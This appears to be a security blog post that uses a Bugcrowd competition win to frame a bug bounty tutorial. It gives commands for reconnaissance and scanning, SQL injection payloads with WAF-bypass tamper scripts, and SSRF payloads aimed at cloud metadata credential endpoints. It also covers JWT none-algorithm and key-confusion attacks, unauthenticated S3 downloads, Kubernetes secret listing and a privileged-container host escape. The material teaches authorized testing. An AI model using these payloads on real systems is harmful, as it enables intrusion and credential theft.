Listen to this Post
Introduction:
The recent Bugcrowd Hacker Showdown 2025 crowned two elite teams, One P1 and Black Hat Cartel, showcasing the pinnacle of modern application security prowess. This victory wasn’t accidental but was built upon a foundation of meticulous methodology, advanced tooling, and deep technical expertise that any aspiring security researcher can learn from. By dissecting the winning strategies, we can uncover the core techniques that separate top-tier bug bounty hunters from the rest of the field.
Learning Objectives:
- Master advanced reconnaissance and attack surface mapping techniques
- Implement automated vulnerability scanning with custom toolchains
- Develop expert-level exploitation skills for critical web application vulnerabilities
You Should Know:
1. Advanced Subdomain Enumeration and Asset Discovery
The first critical phase in any successful bug bounty program involves discovering every possible attack surface. Winning teams don’t just rely on basic subdomain enumeration; they employ multi-layered discovery methodologies that uncover hidden assets, forgotten subdomains, and misconfigured cloud infrastructure.
Passive Subdomain Enumeration subfinder -d target.com -silent | tee subfinder.txt amass enum -passive -d target.com -o amass.txt assetfinder --subs-only target.com | tee assetfinder.txt Active Subdomain Brute Forcing gotator -sub subdomains.txt -perm permutations.txt -depth 1 -numbers 10 -md | sort -u > gotator1.txt altdns -i subdomains.txt -o data_output -w words.txt -r -s resolved.txt puredns resolve subdomains.txt -r resolvers.txt -w resolved_subs.txt Certificate Transparency Log Analysis ctfr.py -d target.com -o ctfr_subs.txt curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sed 's/\.//g' | sort -u > crtsh_subs.txt
Step-by-step guide explaining what this does and how to use it:
Begin with passive enumeration using subfinder and Amass to gather known subdomains without sending direct traffic to the target. Combine results and use PureDNS with trusted resolvers to filter out dead subdomains. Implement permutation scanning with Gotator and AltDNS to discover typosquatting domains and hidden subdomains. Finally, query certificate transparency logs for historical SSL certificate issuances that often reveal development and staging environments. This multi-vector approach ensures comprehensive coverage of the target’s digital footprint.
2. Automated Vulnerability Scanning with Custom Toolchains
Top bug bounty hunters don’t rely solely on off-the-shelf scanners; they build customized toolchains that automate the entire reconnaissance-to-exploitation pipeline. This involves chaining multiple tools together with custom scripts and filters to reduce false positives and focus on high-value targets.
Nuclei Template Scanning with Custom Workflows nuclei -l resolved_subs.txt -t /nuclei-templates/ -o nuclei_results.txt -stats -si 100 nuclei -l urls.txt -t /nuclei-templates/exposures/ -t /nuclei-templates/misconfiguration/ -es info Custom Script for Filtering Active Services cat resolved_subs.txt | httpx -silent -ports 80,443,8080,8443,3000 -threads 100 -status-code -title -tech-detect -follow-redirects -o active_endpoints.json API Endpoint Discovery gau target.com | tee gau_urls.txt waybackurls target.com | tee wayback_urls.txt katana -u https://target.com -d 3 -jc -aff -o katana_urls.txt
Step-by-step guide explaining what this does and how to use it:
Start by feeding your resolved subdomains into HTTPx to identify live web services, filtering by specific ports and gathering technology intelligence. Use Nuclei with custom template paths to scan for specific vulnerability classes while excluding informational findings. Implement historical URL collection with GAU and Waybackurls to discover hidden API endpoints and deprecated functionality that may contain vulnerabilities. Chain these tools together in a bash or Python script that automatically processes results and prioritizes targets based on technology stack and historical vulnerability data.
3. Advanced SQL Injection Exploitation Techniques
While basic SQL injection vulnerabilities are increasingly rare, winning teams excel at identifying and exploiting complex SQLi scenarios that bypass modern WAF protections and leverage advanced database features.
SQLMap with Custom Tampering and WAF Bypass sqlmap -u "https://target.com/api/user?id=1" --level=5 --risk=3 --tamper=between,charencode,charunicodeencode --random-agent --threads=10 --batch --dbs Manual SQL Injection Testing Payloads ' OR 1=1-- - ' UNION SELECT 1,2,3-- - ' AND (SELECT FROM (SELECT(SLEEP(5)))a)-- - Time-Based Blind SQLi Detection '; IF (SELECT COUNT() FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5'-- - ' || (SELECT pg_sleep(5))-- -
Step-by-step guide explaining what this does and how to use it:
Begin with manual testing using classic payloads to identify potential injection points, then escalate to SQLMap with advanced tampering scripts that encode payloads to bypass WAF rules. For time-based blind SQLi, use conditional delay payloads to extract data character by character. When dealing with modern applications, focus on JSON-based injection points and API endpoints that might not have the same security controls as traditional web forms. Always test for second-order SQL injection where input is stored and executed later.
4. SSRF Exploitation and Cloud Metadata Abuse
Server-Side Request Forgery remains a critical vulnerability class, especially in cloud environments where attackers can leverage SSRF to access sensitive metadata services and internal infrastructure.
Basic SSRF Testing Payloads http://localhost:22 http://127.0.0.1:8080 http://169.254.169.254/latest/meta-data/ http://[::1]:5984/ Cloud Metadata Endpoint Enumeration AWS http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/user-data/ Google Cloud http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/ Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01
Step-by-step guide explaining what this does and how to use it:
Start with basic localhost and internal service testing to confirm SSRF vulnerability. Once confirmed, immediately pivot to cloud metadata endpoints, beginning with AWS’s standard IP address. Use iterative directory traversal to discover IAM roles and temporary security credentials. For applications running in containerized environments, test for Kubernetes API access at common endpoints. Always use out-of-band techniques with DNS callback services to detect blind SSRF scenarios where response content isn’t returned directly.
5. JWT Vulnerabilities and API Authentication Bypass
JSON Web Token implementation flaws frequently provide authentication bypass opportunities in modern API-driven applications. Understanding JWT structure and common misconfigurations is essential for finding critical authorization vulnerabilities.
JWT Structure Analysis and Manipulation echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | base64 -d JWT Tool Commands for Testing python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL3h4eC5jb20iLCJleHAiOjE2MTA2MDM0MDAsImlhdCI6MTYxMDYwMzQwMCwibmJmIjoxNjEwNjAzNDAwLCJpZGVudGl0eSI6Mn0.3TNFqT1dZD4dGRBp9WG4D4sVOXYhx0Pf1k8Q4S9nW_c None Algorithm Attack python3 jwt_tool.py -X a eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL3h4eC5jb20iLCJleHAiOjE2MTA2MDM0MDAsImlhdCI6MTYxMDYwMzQwMCwibmJmIjoxNjEwNjAzNDAwLCJpZGVudGl0eSI6Mn0. Key Confusion Attack (RS256 to HS256) python3 jwt_tool.py -X s -pk public.pem eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczovL3h4eC5jb20iLCJleHAiOjE2MTA2MDM0MDAsImlhdCI6MTYxMDYwMzQwMCwibmJmIjoxNjEwNjAzNDAwLCJpZGVudGl0eSI6Mn0.XXX
Step-by-step guide explaining what this does and how to use it:
Begin by decoding the JWT to understand its structure and identify the signing algorithm. Test for “none” algorithm vulnerability by modifying the header and removing the signature. For RS256-signed tokens, attempt key confusion attacks by changing the algorithm to HS256 and signing with the public key. Use tools like jwt_tool to automate common attacks including key cracking, injection claims, and CVE exploitation. Always test token expiration validation and signature verification robustness.
6. GraphQL API Security Testing and Introspection Abuse
GraphQL APIs present unique testing challenges and opportunities, particularly through introspection features that can reveal the entire API schema to unauthorized users.
GraphQL Introspection Query
curl -X POST -H "Content-Type: application/json" --data '{"query":"{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}description}}}"}' https://target.com/graphql
Common GraphQL Endpoint Discovery
/graphql
/graphiql
/api/graphql
/v1/graphql
/graphql.php
/query
Automated GraphQL Testing with InQL
inql -t https://target.com/graphql -o schema.json
graphql-map -u https://target.com/graphql -o endpoints.json
Batch Query Attacks for Rate Limit Bypass
query {
first: user(id: "1") { email }
second: user(id: "2") { email }
third: user(id: "3") { email }
}
Step-by-step guide explaining what this does and how to use it:
Start by discovering GraphQL endpoints through common path fuzzing and examining JavaScript files for API calls. Once identified, use introspection queries to dump the entire schema, revealing all available queries, mutations, and types. Analyze the schema for sensitive fields and operations that might lack proper authorization checks. Test for batching attacks by sending multiple queries in a single request to bypass rate limiting. Look for IDOR vulnerabilities through predictable object identifiers and test for injection points in custom scalar types.
7. Cloud Infrastructure Misconfigurations and Container Escape
Modern applications running in cloud and containerized environments introduce new attack surfaces through misconfigured services, excessive permissions, and container breakout vulnerabilities.
AWS S3 Bucket Enumeration and Testing aws s3 ls s3://target-bucket/ --no-sign-request aws s3 cp s3://target-bucket/config.json . --no-sign-request aws s3 sync s3://target-bucket/ ./downloads/ --no-sign-request Kubernetes API Security Assessment kubectl get pods --all-namespaces kubectl get secrets --all-namespaces kubectl auth can-i --list Container Privilege Escalation Checks docker run --rm -it --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i sh cat /proc/1/environ | tr '\0' '\n' ls -la /var/run/docker.sock
Step-by-step guide explaining what this does and how to use it:
Begin with S3 bucket enumeration using both automated tools and manual AWS CLI commands to identify publicly accessible storage. For containerized applications, check for exposed Docker sockets and privileged container configurations that could allow host system compromise. In Kubernetes environments, use kubectl commands to assess current permissions and look for secrets exposure. Test for vulnerable container configurations by examining environment variables, mounted volumes, and available capabilities. Always check for cloud metadata service access from within containers.
What Undercode Say:
- Methodology and process discipline trump individual technical brilliance in competitive bug bounty scenarios
- Custom automation and toolchain optimization provide significant time advantages during time-boxed assessments
- The most valuable findings often exist at the intersection of multiple vulnerability classes rather than in isolated technical flaws
The victory by One P1 and Black Hat Cartel demonstrates a fundamental shift in bug bounty hunting from individual technical prowess to team-based methodology optimization. These teams didn’t necessarily discover unknown vulnerability classes but rather perfected the execution of finding known vulnerability patterns at scale and speed. Their success underscores the importance of building reproducible processes rather than relying on ad-hoc testing approaches. The future of top-tier bug bounty hunting lies in the systematic automation of reconnaissance, triage, and initial exploitation, freeing up human expertise for complex vulnerability chain development and business logic flaw identification.
Prediction:
The demonstrated methodologies from Bugcrowd Hacker Showdown 2025 will accelerate the industrialization of bug bounty hunting, with AI-assisted vulnerability discovery and automated exploit chain generation becoming standard within 2-3 years. This will force organizations to implement more robust software development lifecycle security controls and shift from reactive vulnerability management to proactive security-by-design architectures. The increasing sophistication of hunting teams will also drive wider adoption of continuous security validation and breach-and-attack simulation platforms that can keep pace with evolving offensive techniques.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Krishnsec My – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
